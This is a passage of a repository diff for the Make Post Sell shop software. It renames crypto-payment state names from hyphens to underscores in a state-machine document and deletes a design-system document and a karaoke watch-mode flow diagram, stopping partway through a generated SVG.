on connect and on bid/soft-close/state change, heartbeats, then closes
after ~25s so `EventSource` reconnects (uWSGI sync workers can't hold
long-lived connections). `auction.js` calls `applyState()` per frame.
Where `EventSource` is unavailable it falls back to polling
`/a/{id}.json` every 5s. The countdown is NOT part of the SSE change
signal — the client derives it from `end_timestamp`.
- AJAX bid submit; success/error flash without page reload
The page works fully without JS (capability-driven presentation): `bid`,
`buy-now`, and `watch` POSTs flash a status message and `302`-redirect
back to `/a/{auction_id}` for a plain browser submit; they return JSON
only when the request carries `X-Requested-With: XMLHttpRequest`. The
no-JS path is the source of truth; JSON is an enhancement.
Functional coverage: `TestAuctionRoutes` drives the JSON path,
`TestAuctionNoJsFallback` the plain-POST path.
## Email Notifications
- `AUCTION_OUTBID` — sent to previous high bidder when their bid is
beaten (sent from `auction_bid` view, after `place_bid` succeeds
and a different user takes the lead).
Tick-driven won emails (when an auction ends) are deferred — tick
scripts run from cron without a Pyramid request context. A future
commit will either wire a request-less email path or queue the events
for the next view to flush.
## Testing
712 baseline tests + 27 (foundation) + 24 (lib/auction) + 11 (views)
+ 9 (form sections) + 13 (cart integration) + 10 (tick) + 4 (emails)
+ 3 (UI) = 813 net new across MPS-20 (some shared with MPS-21).

122
docs/crypto-payments-state-machine.md
View file

@ -7,8 +7,8 @@ This document visualizes the complete state machine for cryptocurrency payments
```mermaid
stateDiagram-v2
[*] --> pending
[*] --> doublepay-refunded : Duplicate payment detected
[*] --> latepay-refunded: Late payment detected
[*] --> doublepay_refunded : Duplicate payment detected
[*] --> latepay_refunded: Late payment detected
%% Main payment flow
pending --> received : Payment detected in mempool
@ -18,47 +18,47 @@ stateDiagram-v2
%% From received state - multiple possible outcomes
%% NOTE: received payments CANNOT expire (detected in mempool, confirmations tracking)
received --> confirmed : Sufficient payment + confirmations
received --> confirmed-overpay : Overpayment detected
received --> underpaid-refunded : Underpayment detected
received --> out-of-stock-refunded : Product unavailable
received --> confirmed_overpay : Overpayment detected
received --> underpaid_refunded : Underpayment detected
received --> out_of_stock_refunded : Product unavailable
%% Successful payment paths
confirmed --> confirmed-complete : Swept to cold storage
confirmed-complete --> [*] : ✓ Terminal Success
confirmed --> confirmed_complete : Swept to cold storage
confirmed_complete --> [*] : ✓ Terminal Success
%% Overpayment refund flow
confirmed-overpay --> confirmed-overpay-refunded : Initiate refund
confirmed-overpay-refunded --> confirmed-overpay-refunded-complete : Refund confirmed
confirmed-overpay-refunded --> confirmed-overpay-not-refunded : No refund wallet configured
confirmed-overpay-refunded-complete --> [*] : ✓ Terminal Success
confirmed-overpay-not-refunded --> [*] : ✓ Terminal Success (Not Refunded)
confirmed_overpay --> confirmed_overpay_refunded : Initiate refund
confirmed_overpay_refunded --> confirmed_overpay_refunded_complete : Refund confirmed
confirmed_overpay_refunded --> confirmed_overpay_not_refunded : No refund wallet configured
confirmed_overpay_refunded_complete --> [*] : ✓ Terminal Success
confirmed_overpay_not_refunded --> [*] : ✓ Terminal Success (Not Refunded)
%% Expired payment handling (terminal - late payments create new objects)
expired --> [*] : ✓ Terminal Failed (Expired)
%% Late payment objects (created separately for payments after expiration)
latepay-refunded --> latepay-refunded-complete : Refund confirmed
latepay-refunded --> latepay-not-refunded : No refund wallet configured
latepay-refunded-complete --> [*] : ✓ Terminal Failed (Refund Complete)
latepay-not-refunded --> [*] : ✓ Terminal Failed (Not Refunded)
latepay_refunded --> latepay_refunded_complete : Refund confirmed
latepay_refunded --> latepay_not_refunded : No refund wallet configured
latepay_refunded_complete --> [*] : ✓ Terminal Failed (Refund Complete)
latepay_not_refunded --> [*] : ✓ Terminal Failed (Not Refunded)
%% Underpayment refund flow
underpaid-refunded --> underpaid-refunded-complete : Refund confirmed
underpaid-refunded --> underpaid-not-refunded : No refund wallet configured
underpaid-refunded-complete --> [*] : ✓ Terminal Failed (Refund Complete)
underpaid-not-refunded --> [*] : ✓ Terminal Failed (Not Refunded)
underpaid_refunded --> underpaid_refunded_complete : Refund confirmed
underpaid_refunded --> underpaid_not_refunded : No refund wallet configured
underpaid_refunded_complete --> [*] : ✓ Terminal Failed (Refund Complete)
underpaid_not_refunded --> [*] : ✓ Terminal Failed (Not Refunded)
%% Out of stock refund flow
out-of-stock-refunded --> out-of-stock-refunded-complete : Refund confirmed
out-of-stock-refunded --> out-of-stock-not-refunded : No refund wallet configured
out-of-stock-refunded-complete --> [*] : ✓ Terminal Failed (Refund Complete)
out-of-stock-not-refunded --> [*] : ✓ Terminal Failed (Not Refunded)
out_of_stock_refunded --> out_of_stock_refunded_complete : Refund confirmed
out_of_stock_refunded --> out_of_stock_not_refunded : No refund wallet configured
out_of_stock_refunded_complete --> [*] : ✓ Terminal Failed (Refund Complete)
out_of_stock_not_refunded --> [*] : ✓ Terminal Failed (Not Refunded)
%% Double payment refund flow
doublepay-refunded --> doublepay-refunded-complete : Refund confirmed
doublepay-refunded --> doublepay-not-refunded : No refund wallet configured
doublepay-refunded-complete --> [*] : ✓ Terminal Failed (Refund Complete)
doublepay-not-refunded --> [*] : ✓ Terminal Failed (Not Refunded)
doublepay_refunded --> doublepay_refunded_complete : Refund confirmed
doublepay_refunded --> doublepay_not_refunded : No refund wallet configured
doublepay_refunded_complete --> [*] : ✓ Terminal Failed (Refund Complete)
doublepay_not_refunded --> [*] : ✓ Terminal Failed (Not Refunded)
%% User cancellation (always terminal, only from pending)
cancelled --> [*] : ✓ Terminal Failed (Cancelled)
@ -71,19 +71,19 @@ stateDiagram-v2
classDef processingState fill:#cce5ff,stroke:#004085,color:#004085
%% Successful payments (customer received product)
class confirmed,confirmed-complete,confirmed-overpay-refunded-complete,confirmed-overpay-not-refunded successState
class confirmed,confirmed_complete,confirmed_overpay_refunded_complete,confirmed_overpay_not_refunded successState
%% Initial/waiting states (entry points that don't come from 'received')
class pending,latepay-refunded,doublepay-refunded initialWaitingState
class pending,latepay_refunded,doublepay_refunded initialWaitingState
%% Active refund processing states
class confirmed-overpay-refunded,underpaid-refunded,out-of-stock-refunded refundState
class confirmed_overpay_refunded,underpaid_refunded,out_of_stock_refunded refundState
%% Failed payments (customer did not receive product)
class expired,cancelled,latepay-refunded-complete,latepay-not-refunded,underpaid-refunded-complete,underpaid-not-refunded,out-of-stock-refunded-complete,out-of-stock-not-refunded,doublepay-refunded-complete,doublepay-not-refunded failedState
class expired,cancelled,latepay_refunded_complete,latepay_not_refunded,underpaid_refunded_complete,underpaid_not_refunded,out_of_stock_refunded_complete,out_of_stock_not_refunded,doublepay_refunded_complete,doublepay_not_refunded failedState
%% Processing states
class received,confirmed-overpay processingState
class received,confirmed_overpay processingState
```
## Semantic State Groups
@ -94,8 +94,8 @@ The state machine uses semantic groups to categorize states by business logic pu
Entry point states that don't transition from `received` - they represent the start of payment flows:
- **`pending`** - Initial state for new payment requests
- **`latepay-refunded`** - Initial state for late payment objects (payments received after expiration)
- **`doublepay-refunded`** - Initial state for duplicate payment objects (separate payment instances)
- **`latepay_refunded`** - Initial state for late payment objects (payments received after expiration)
- **`doublepay_refunded`** - Initial state for duplicate payment objects (separate payment instances)
**Business Logic**: These states represent separate payment flows and are processed with Priority 0-2 depending on their nature.
@ -103,9 +103,9 @@ Entry point states that don't transition from `received` - they represent the st
Customer received their product - invoices are preserved:
- **`confirmed`** - Normal successful payment (exact amount, confirmed)
- **`confirmed-complete`** - Confirmed payment that has been swept to cold storage
- **`confirmed-overpay-refunded-complete`** - Overpaid, customer got product + refund
- **`confirmed-overpay-not-refunded`** - Overpaid, customer got product, no refund wallet configured
- **`confirmed_complete`** - Confirmed payment that has been swept to cold storage
- **`confirmed_overpay_refunded_complete`** - Overpaid, customer got product + refund
- **`confirmed_overpay_not_refunded`** - Overpaid, customer got product, no refund wallet configured
**Business Logic**: `is_successful_payment() = True`, `should_keep_invoice() = True`
@ -114,18 +114,18 @@ Customer did not receive product - invoices are deleted:
- **`expired`** - Payment window expired before any blockchain detection
- **`cancelled`** - User cancelled payment (only from pending)
- **`*-refunded-complete`** - Failed payments with completed refunds
- **`*-not-refunded`** - Failed payments with no refund wallet configured
- **`*_refunded_complete`** - Failed payments with completed refunds
- **`*_not_refunded`** - Failed payments with no refund wallet configured
**Business Logic**: `is_failed_payment() = True`, `should_keep_invoice() = False`
### 🟡 **Refund Processing States** (Yellow)
Active refund workflows - intermediate states:
- **`confirmed-overpay-refunded`** - Overpayment refund in progress (customer got product)
- **`underpaid-refunded`** - Underpayment refund in progress
- **`out-of-stock-refunded`** - Out of stock refund in progress
- **Note**: `latepay-refunded` and `doublepay-refunded` are Initial/Waiting states, not regular refund processing
- **`confirmed_overpay_refunded`** - Overpayment refund in progress (customer got product)
- **`underpaid_refunded`** - Underpayment refund in progress
- **`out_of_stock_refunded`** - Out of stock refund in progress
- **Note**: `latepay_refunded` and `doublepay_refunded` are Initial/Waiting states, not regular refund processing
**Business Logic**: Priority 0 processing (highest), actively monitored for confirmation
@ -133,7 +133,7 @@ Active refund workflows - intermediate states:
Active payment processing states:
- **`received`** - Payment detected on blockchain, being processed
- **`confirmed-overpay`** - Overpayment confirmed, deciding refund action
- **`confirmed_overpay`** - Overpayment confirmed, deciding refund action
**Business Logic**: Priority 1-3 processing, confirmation monitoring
@ -153,8 +153,8 @@ All status constants use past-tense naming for consistency:
### **Rule 3: Entry Points vs Transitions**
Some states are entry points for new payment objects, not transitions from existing payments:
- `pending` - Entry point for new payments
- `latepay-refunded` - Entry point for late payment objects (created after expiration)
- `doublepay-refunded` - Entry point for duplicate payment objects
- `latepay_refunded` - Entry point for late payment objects (created after expiration)
- `doublepay_refunded` - Entry point for duplicate payment objects
### **Rule 4: Invoice Preservation Logic**
```python
@ -168,7 +168,7 @@ should_keep_invoice() = is_successful_payment()
The crypto watcher processes payments by priority to ensure proper fund flow and customer service:
### **Priority 0 (Highest): Customer Refunds**
- `doublepay-refunded`, `latepay-refunded`, `underpaid-refunded`, `out-of-stock-refunded`
- `doublepay_refunded`, `latepay_refunded`, `underpaid_refunded`, `out_of_stock_refunded`
- **Rationale**: Customer service is highest priority
### **Priority 1: New Incoming Payments**
@ -180,50 +180,50 @@ The crypto watcher processes payments by priority to ensure proper fund flow and
- **Rationale**: General processing tasks
### **Priority 3: Auto-Sweep to Shop Owner**
- `confirmed`, `confirmed-overpay`
- `confirmed`, `confirmed_overpay`
- **Rationale**: Move confirmed funds to shop owner
### **Priority 4 (Lowest): Restocking Fee Sweeps**
- `*-refunded-complete` states
- `*_refunded_complete` states
- **Rationale**: Most dangerous operation, requires high confirmations, done last
## Business Logic Flows
### **Normal Payment Flow**
```
pending → received → confirmed → confirmed-complete ✅
pending → received → confirmed → confirmed_complete ✅
```
Customer pays exact amount, gets product, invoice kept, funds swept to cold storage.
### **Overpayment Flow**
```
pending → received → confirmed-overpay → confirmed-overpay-refunded → confirmed-overpay-refunded-complete ✅
pending → received → confirmed_overpay → confirmed_overpay_refunded → confirmed_overpay_refunded_complete ✅
```
Customer overpays, gets product, gets refund, invoice kept.
### **Late Payment Flow**
```
Original: pending → expired ❌
New object: latepay-refunded → latepay-refunded-complete ❌
New object: latepay_refunded → latepay_refunded_complete ❌
```
Original payment expires. Late payment creates new object, gets refunded, invoice deleted.
### **Underpayment Flow**
```
pending → received → underpaid-refunded → underpaid-refunded-complete ❌
pending → received → underpaid_refunded → underpaid_refunded_complete ❌
```
Customer pays too little, gets refund, no product, invoice deleted.
### **Duplicate Payment Flow**
```
Original: pending → received → confirmed ✅
Duplicate: doublepay-refunded → doublepay-refunded-complete ❌
Duplicate: doublepay_refunded → doublepay_refunded_complete ❌
```
First payment succeeds, duplicate creates separate object and gets refunded.
### **Out of Stock Flow**
```
pending → received → out-of-stock-refunded → out-of-stock-refunded-complete ❌
pending → received → out_of_stock_refunded → out_of_stock_refunded_complete ❌
```
Product unavailable, customer gets refund, no product, invoice deleted.
@ -237,15 +237,15 @@ User cancels before payment detected, invoice deleted.
**Successful Terminals** (keep invoice):
- `confirmed` - Normal success (awaiting sweep)
- `confirmed-complete` - Normal success + swept to cold storage
- `confirmed-overpay-refunded-complete` - Overpaid + refunded
- `confirmed-overpay-not-refunded` - Overpaid, no refund wallet
- `confirmed_complete` - Normal success + swept to cold storage
- `confirmed_overpay_refunded_complete` - Overpaid + refunded
- `confirmed_overpay_not_refunded` - Overpaid, no refund wallet
**Failed Terminals** (delete invoice):
- `expired` - Never paid
- `cancelled` - User cancelled
- `*-refunded-complete` - Failed + refunded
- `*-not-refunded` - Failed, no refund wallet
- `*_refunded_complete` - Failed + refunded
- `*_not_refunded` - Failed, no refund wallet
## State Transition Validation

358
docs/design-system.md
View file

@ -1,358 +0,0 @@
# MPS Design System
## Overview
Make Post Sell uses a design token architecture with CSS custom properties as the single source of truth. Mobile-first. CSS Grid only (no Flexbox). Accessible. Respects reduced motion. Supports light and dark themes.
## Architecture Diagram
```
┌─────────────────────────────────────────────────────────┐
│ tokens.css │
│ Design Tokens (:root) │
│ │
│ Colors · Typography · Spacing · Shape · Elevation │
│ Motion · Z-index · Layout · State overlays │
│ │
│ [data-theme="dark"] overrides │
│ │
│ Base resets · Focus · Selection │
│ Typography utilities (.type-*) │
│ Elevation utilities (.elevation-*) │
│ Surface utilities (.surface-*) │
│ State layer · Ripple effect │
│ Animations · Skeleton loading · Spinner │
│ Spacing utilities (.mt-*, .mb-*, .p-*, .gap-*) │
│ Container utilities (.container, -narrow, -wide) │
└──────────────────────┬──────────────────────────────────┘
│ consumed by
▼
┌─────────────────────────────────────────────────────────┐
│ common.css │
│ Component Styles │
│ │
│ Body layout · Navigation · Forms · Buttons │
│ Product grid · Cards · Cart · Comments │
│ Wells · Alerts · Ribbons · Footer │
│ Watch mode · Landing page · Login │
│ Responsive breakpoints │
│ │
│ References tokens via var(--token-name, fallback) │
└──────────────────────┬──────────────────────────────────┘
│ rendered in
▼
┌─────────────────────────────────────────────────────────┐
│ templates/ │
│ Jinja2 Templates │
│ │
│ base.j2 → theme toggle, nav, footer │
│ styleguide.j2 → live component reference │
│ product.j2, content.j2, shop.j2, etc. │
└─────────────────────────────────────────────────────────┘
```
## File Map
| File | Lines | Purpose |
|------|-------|---------|
| `static/css/tokens.css` | 775 | Design tokens, utilities, animations, resets |
| `static/css/common.css` | 3879 | Component styles consuming tokens |
| `templates/styleguide.j2` | 1083 | Live styleguide at `/styleguide` |
| `views/misc.py:23` | — | Styleguide view controller |
## Token Categories
### Colors
```
Brand Surface Text Border
────────── ────────── ────────── ──────────
--color-green --surface-base --text-primary --border-default
--color-blue --surface-dim --text-body --border-light
--color-navy --surface-container --text-secondary --border-focus
--color-purple --surface-container- --text-muted --border-error
--color-danger high --text-faint
--color-gold --surface-inverse --text-disabled
--text-inverse
```
### Typography Scale (Major Third 1.250)
```
Token Size Use
────────── ────── ──────────────────────
--text-xs 12px Captions, overlines
--text-sm 14px Labels, small body
--text-base 16px Body text (root)
--text-md 18px Large body
--text-lg 20px Titles
--text-xl 24px Title large
--text-2xl 30px Headline 3
--text-3xl 36px Headline 2
--text-4xl 48px Headline 1
--text-5xl 60px Display
```
### Spacing Scale (4px base)
```
Token Value
────────── ──────
--space-0 0
--space-1 4px
--space-2 8px
--space-3 12px
--space-4 16px
--space-5 20px
--space-6 24px
--space-8 32px
--space-10 40px
--space-12 48px
--space-16 64px
--space-20 80px
--space-24 96px
```
### Shape (Border Radius)
```
--radius-none 0 Sharp corners
--radius-sm 4px Inputs, code blocks
--radius-md 8px Cards, buttons
--radius-lg 12px Modals, panels
--radius-xl 16px Large surfaces
--radius-2xl 24px Pills
--radius-full 9999px Circles
```
### Elevation (Box Shadow)
```
--elevation-0 none Flat
--elevation-1 subtle Cards at rest
--elevation-2 low Raised cards
--elevation-3 medium Dropdowns
--elevation-4 high Modals
--elevation-5 highest Popovers
```
### Motion
```
Durations Easing
────────────────── ──────────────────
--duration-instant 50ms --ease-standard general transitions
--duration-fast 100ms --ease-decelerate entrances
--duration-normal 200ms --ease-accelerate exits
--duration-slow 300ms --ease-emphasize emphasis
--duration-slower 400ms --ease-spring playful bounce
--duration-entrance 250ms
--duration-exit 200ms
```
### Z-Index Scale
```
--z-base 0 Default stacking
--z-dropdown 100 Dropdowns, popovers
--z-sticky 200 Sticky headers
--z-overlay 300 Overlays, backdrops
--z-modal 400 Modals
--z-toast 500 Toast notifications
--z-ribbon 600 Shop ribbon banner
```
### Layout Breakpoints
```
--content-narrow 400px Login forms, narrow content
--content-width 800px Default content width
--content-wide 1200px Wide layouts
--bp-tablet 800px Tablet breakpoint
--bp-desktop 1200px Desktop breakpoint
```
## Theme System
Light mode is default (`:root`). Dark mode activates via `[data-theme="dark"]` on the `<html>` element. The dark theme overrides all semantic tokens — surfaces, text, borders, brand colors — so components adapt automatically without per-component dark mode rules.
```
Light Dark
────────────────────── ──────────────────────
--surface-base: #FFFFFF --surface-base: #0d1117
--text-primary: #333333 --text-primary: #ffffff
--border-default: #e0e0e0 --border-default: #7ab9ff
--color-green: #a3c765 --color-green: #08e700
--color-navy: #5871ad --color-navy: #7ab9ff
```
Theme toggle: `window.setTheme('dark')` / `window.setTheme('light')`.
## Typography Utilities
CSS classes that compose token values into complete type styles:
| Class | Size | Weight | Use |
|-------|------|--------|-----|
| `.type-display` | clamp(36px, 5vw, 60px) | bold | Hero headlines |
| `.type-headline-1` | 48px | bold | Page titles |
| `.type-headline-2` | 36px | bold | Section titles |
| `.type-headline-3` | 30px | bold | Subsection titles |
| `.type-title-lg` | 24px | semibold | Card titles |
| `.type-title` | 20px | semibold | List titles |
| `.type-title-sm` | 16px | semibold | Small titles |
| `.type-body-lg` | 18px | regular | Lead paragraphs |
| `.type-body` | 16px | regular | Body text |
| `.type-body-sm` | 14px | regular | Secondary text |
| `.type-label-lg` | 14px | semibold | Form labels |
| `.type-label` | 12px | semibold, uppercase | Overline labels |
| `.type-caption` | 12px | regular | Captions |
| `.type-overline` | 11px | bold, uppercase | Section overlines |
| `.type-code` | 0.9em | mono | Inline code |
## Component Library
All components are documented with live examples at `/styleguide`. The styleguide is the single source of truth for the component library. If it is not in the styleguide, it does not exist as a pattern.
### Styleguide Sections
| Section | ID | Description |
|---------|-----|------------|
| Tokens | `#tokens` | Raw token reference table |
| Colors | `#colors` | Brand, surface, text, border, alert swatches |
| Typography | `#typography` | Type scale and utility classes |
| Elevation | `#elevation` | Shadow levels |
| Motion | `#motion` | Animations, transitions, easing |
| Spacing | `#spacing` | Spacing scale visualization |
| Shape | `#shape` | Border radius samples |
| States | `#states` | Interactive state layers |
| Loading | `#loading` | Skeleton and spinner patterns |
| Buttons | `#buttons` | Button variants (green, blue, red, navy, outline) |
| Forms | `#forms` | Input fields, textareas, selects, settings-form (`.settings-form` / `.settings-form-grid` / `.settings-field` / `.settings-field-hint`) |
| Wells | `#wells` | Content wells and containers |
| Alerts | `#alerts` | Success, info, warning, danger alerts |
| Status | `#status` | Status indicators |
| Product Cards | `#cards` | Product grid cards, profile card (`.profile-card-header` / `.profile-avatar` / `.profile-handle` / `.profile-email-reveal`), action button grid (`.action-columns` / `.action-button-grid`), MPS-24 tag chips (`#tag-chips`), MPS-24 sectioned lanes (`#tag-lanes`) |
| Cart | `#cart` | Cart and checkout components |
| Gift Cards | `#gift-cards` | Gift card purchase, balance check, management |
| Comments | `#comments` | Comment form and list |
| Toggle | `#toggle` | Toggle switches |
| Ribbon | `#ribbon` | Shop ribbon banner |
| Environment Banner | `.environment-banner` | Staging/dev environment indicator |
| Trial Banner | `.trial-banner` | Trial countdown and expiry notice |
| Task Bar | `#taskbar` | Task bar component |
| Layout | `#layout` | Grid layout patterns |
| Theme System | `#theme` | Theme toggle and dark mode |
| Footer | `#footer` | Footer component |
### MPS-20 / MPS-21 components
| Class | Where | Description |
|---|---|---|
| `.cart-negotiation-card` | `cart.j2` | Soft-green "Offer accepted / Auction won" well at the top of a negotiated cart |
| `.cart-negotiation-deadline` | `cart.j2` | Pay-by countdown line inside the negotiation card |
| `.cart-negotiation-pill` | `cart.j2` | "Offer accepted · quantity locked" pill on line items |
| `.offer-pay-cta-actions` | `offer.j2` | Two-col grid: Cancel left, Pay right (stacks on narrow viewports) |
| `.offer-pay-deadline-note` | `offer.j2` | Buyer's "Payment due in 23 hours, 14 minutes" copy |
| `.offer-pay-link-row` | `offer.j2` | Seller's shareable offer-link with Copy button |
| `.offer-respond-deadline-note` | `offer.j2` | "Respond in 5 days, or this offer auto-expires" |
| `.auction-winner-pay` | `auction.j2` | "You won this auction!" well with countdown + pay CTA |
| `.product-add-disabled-note` | `product.j2` | Caption under disabled Add To Cart when active cart is locked |
| `.shop-offers-page` | `user_offers.j2` + `user_bids.j2` + `shop_offers.j2` | Wider page (max-width 1100px) overriding `.one-column` for the offers/bids inbox tables |
| `.shop-offers-table` | inbox templates | Responsive table; collapses to per-row block list below 720px |
| `.notification-badge` | `base.j2` + `/u/settings` | Danger-color pill showing unread notification count |
| `.notification-row` + `.notification-row-unread` | `user_notifications.j2` | Notification list rows; read rows fade to 0.65 opacity, unread rows get an alert-info background + navy left border |
| `.notification-row-breadcrumbs` | `user_notifications.j2` | Shop › Product › Offer/Auction/Invoice chain under each row |
| `.billing-page` / `.billing-paypal-card` / `.billing-actions` | `billing.j2` | `/billing` redesigned with Grid + tokens (no inline styles) |
| `[data-pay-deadline]` | offer + auction + cart | Convention attribute the shared `static/js/pay-countdown.js` (and inline tickers in `offer.js` / `auction.js`) rewrite once per second with a prose human delta ("in 23 hours, 14 minutes, 8 seconds") matching the server-rendered `ago.human()` fallback |
### MPS-24 components — tags, chips, lanes
| Class | Where | Description |
|---|---|---|
| `.tag-chip-strip` | `home.j2`, `shop.j2`, `shop_tag.j2` | Horizontally scrolling row of chips at the top of the shop home; `grid-auto-flow: column` + `overflow-x: auto` so chips swipe on mobile |
| `.tag-chip` | every chip strip + bulk tagger | Pill-shaped link, tokens-only colors, hover brightens border + bg |
| `.tag-chip-active` | current filter chip | Accent-fill chip; click on home filters the grid in place via `static/js/tag_filter.js` |
| `.tag-lane` | `home.j2`, `shop.j2` (layout 2) | One `<section>` per top tag; capped product count via `shop.home_layout_per_lane_limit` |
| `.tag-lane-header` | inside `.tag-lane` | Grid 1fr / auto — lane title left, "See all →" right |
| `.tag-lane-grid` | inside `.tag-lane` | Reuses `.serp` grid pattern; horizontal lane is the *outer* layout, items inside still use product grid |
| `.tag-list` / `.tag-list-item` | `shop_tags.j2` (bulk tagger) | Operator tag overview: tag pill + product count + view / delete row |
| `.tag-product-list` / `.tag-product-row` | `shop_tags.j2` (bulk tagger) | "Apply / Applied" toggle per product per tag |
| `.tag-detail-header` | `shop_tag.j2` | Tag detail page header (tag name + back link) |
| `[data-tag-strip]` | chip strip | JS hook for `tag_filter.js` |
| `[data-tag-grid]` | flat `.serp` | JS hook — items inside carry `data-tag-slugs` for in-place filter |
| `[data-tag-slugs]` | `.serp-item` | Space-separated tag slugs the item carries; consumed by `tag_filter.js` |
| `.tag-suggest-list` / `.tag-suggest-item` | `shop_tags.j2` (Phase 2) | Suggested-cluster well rendered when operator clicks "Suggest categories from titles + descriptions"; per-cluster grid with label, sample titles, Apply / Dismiss actions |
| `.tag-suggest-actions` | `shop_tags.j2` | Apply / Dismiss button row, `grid-auto-flow: column` |
| `.product-tag-chips` / `.tag-chip-list` | `product_edit.j2` (Phase 2.7) | Per-product SPA tag editor container; `js-only`, revealed by `product_tags.js`. Chips wrap as inline-level pills (the `<ul>` is deliberately not a grid/flex parent) |
| `.tag-chip-removable` | `product_edit.j2`, `/styleguide#tagchips` | Same pill language as `.tag-chip` but an `<li>` with a label + an always-visible `.tag-chip-removable-x` remove button (no hover-only controls). `inline-grid` `auto auto` |
| `.tag-chip-add` | `product_edit.j2` | Add-a-tag row, grid `1fr auto`, stacks to one column under 600px |
| `.tag-chip-flash` | `product_edit.j2` | Toast region reusing `.tag-flash-toast` / `.tag-flash-{success,error,info}` |
| `[data-product-tags]` / `[data-product-tags-url]` | `product_edit.j2` | JS hooks for `product_tags.js`: container + the `/p/{id}/tags` endpoint URL |
| `.serp-rail` / `.serp-rail-list` / `.serp-rail-card` | `_facet_nav.j2:featured_rail` macro on `shop_tag.j2` / `home.j2` / `shop.j2` (Phase 2.8l) | Right rail on SERP pages — curated featured products or random fallback. 3rd grid child of `.tag-detail-layout`; full-width below results 800–1099px, sticky right column ≥1100px. `/styleguide#serprail` |
| `[data-focus-section]` / `[data-focus-heading]` / `[data-focus-list]` | `shop_tags.j2` (Phase 2.8) | Stable bulk-tagger focus container — always in the DOM, `hidden` until a tag is focused; `tag_bulk.js` swaps the product list in place instead of a full reload |
| `[data-tag-focus-link]` | `shop_tags.j2` (Phase 2.8) | Tag chip in the All-tags list; `tag_bulk.js` intercepts the click and fetches `?focus=<slug>` as JSON |
| `.tag-list-dragging` / `.tag-list-drop-target` | `shop_tags.j2` (Phase 2.8) | Dragged row (dimmed) + active drop position during HTML5 drag-to-reorder; `tag_bulk.js` POSTs `set_order` on drop |
## CSS Conventions
### Layout
- **CSS Grid only** — never use Flexbox for layout
- Mobile-first: base styles target mobile, `@media` queries enhance for larger screens
- Primary breakpoint: `max-width: 800px` for mobile
### Token Consumption
Components in `common.css` reference tokens with fallbacks:
```css
/* Good — token with fallback for resilience */
background-color: var(--surface-base, #ffffff);
border-radius: var(--radius-sm, 4px);
/* Good — token without fallback (tokens.css always loaded) */
padding: var(--space-4);
```
### Media Sizing
Never combine `width: 100%` with `max-height` on media elements. Use:
```css
/* Correct */
width: auto;
max-width: 100%;
max-height: 33vh;
/* Wrong — creates dead whitespace */
width: 100%;
max-height: 33vh;
```
### Mobile Usability
Never use hover-only interactions. All interactive elements must be always visible and tappable. Design touch-first, then optionally enhance for desktop hover.
### Reduced Motion
All animations respect `prefers-reduced-motion: reduce` via a global media query in `tokens.css` that collapses durations to near-zero.
### Capability-Driven Presentation
Follow Russell Ballestrini's capability-driven presentation practice. A page need not look identical across all browsers. Accommodate what the user's browser can do. Use the `js-only` / `<noscript>` pattern for progressive enhancement.
## Adding New Components
1. Define the component styles in `common.css`, consuming tokens from `tokens.css`
2. Add a live example to `/styleguide` (`templates/styleguide.j2`)
3. If the component participates in watch mode SPA navigation, update all three layers: template, `watch.js`, `watch.py`
## Load Order
```
base.j2
└─ <link> static/css/tokens.css ← tokens + utilities + resets
└─ <link> static/css/common.css ← components consuming tokens
└─ per-page <style> blocks ← page-specific overrides
```

30
docs/karaoke-ondemand.dot
View file

@ -1,30 +0,0 @@
// On-Demand Karaoke — Watch Mode User Flow
// Render: dot -Tsvg docs/karaoke-ondemand.dot -o docs/karaoke-ondemand.dot.svg
digraph karaoke_ondemand {
rankdir=TB;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
click [label="User clicks 🎤\n(watch.js)", fillcolor="#e0f2f1"];
check [label="Has tracks?", shape=diamond, fillcolor="#fff8e1"];
cycle [label="cycleKaraoke()\nOriginal → Instrumentals → Vocals", fillcolor="#e8f5e9"];
post [label="POST /karaoke/{id}\n(fetch, non-blocking)", fillcolor="#e8eaf6"];
fork [label="Server forks\ndetached grandchild", fillcolor="#e8eaf6"];
process [label="process_karaoke()\n(~30-120s)", fillcolor="#fce4ec"];
hourglass [label="Button shows ⌛\nkaraokeProcessing=true", fillcolor="#e0f2f1"];
refresh [label="10s URL refresh\nfetchWatchData()", fillcolor="#e0f2f1"];
detect [label="instrumentals_url\nappears in JSON?", shape=diamond, fillcolor="#fff8e1"];
autoswitch [label="Auto-switch to\ninstrumentals 🎤", fillcolor="#e8f5e9"];
click -> check;
check -> cycle [label="yes"];
check -> post [label="no (eligible)"];
post -> fork [label="200 {status: processing}"];
post -> hourglass;
fork -> process;
hourglass -> refresh [label="every 10s"];
refresh -> detect;
detect -> refresh [label="not yet"];
detect -> autoswitch [label="tracks ready"];
process -> detect [label="DB updated", style=dashed];
}

155
docs/karaoke-ondemand.dot.svg
View file

@ -1,155 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.43.0 (0)
-->
<!-- Title: karaoke_ondemand Pages: 1 -->
<svg width="458pt" height="577pt"
viewBox="0.00 0.00 458.00 577.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 573)">
<title>karaoke_ondemand</title>
<polygon fill="white" stroke="transparent" points="-4,4 -4,-573 454,-573 454,4 -4,4"/>
<!-- click -->
<g id="node1" class="node">
<title>click</title>
<path fill="#e0f2f1" stroke="black" d="M165,-569C165,-569 88,-569 88,-569 82,-569 76,-563 76,-557 76,-557 76,-545 76,-545 76,-539 82,-533 88,-533 88,-533 165,-533 165,-533 171,-533 177,-539 177,-545 177,-545 177,-557 177,-557 177,-563 171,-569 165,-569"/>
<text text-anchor="middle" x="126.5" y="-554" font-family="monospace" font-size="10.00">User clicks 🎤</text>
<text text-anchor="middle" x="126.5" y="-543" font-family="monospace" font-size="10.00">(watch.js)</text>
</g>
<!-- check -->
<g id="node2" class="node">
<title>check</title>
<path fill="#fff8e1" stroke="black" d="M114.89,-492.98C114.89,-492.98 68.92,-481.02 68.92,-481.02 63.11,-479.51 63.11,-476.49 68.92,-474.98 68.92,-474.98 114.89,-463.02 114.89,-463.02 120.69,-461.51 132.31,-461.51 138.11,-463.02 138.11,-463.02 184.08,-474.98 184.08,-474.98 189.89,-476.49 189.89,-479.51 184.08,-481.02 184.08,-481.02 138.11,-492.98 138.11,-492.98 132.31,-494.49 120.69,-494.49 114.89,-492.98"/>
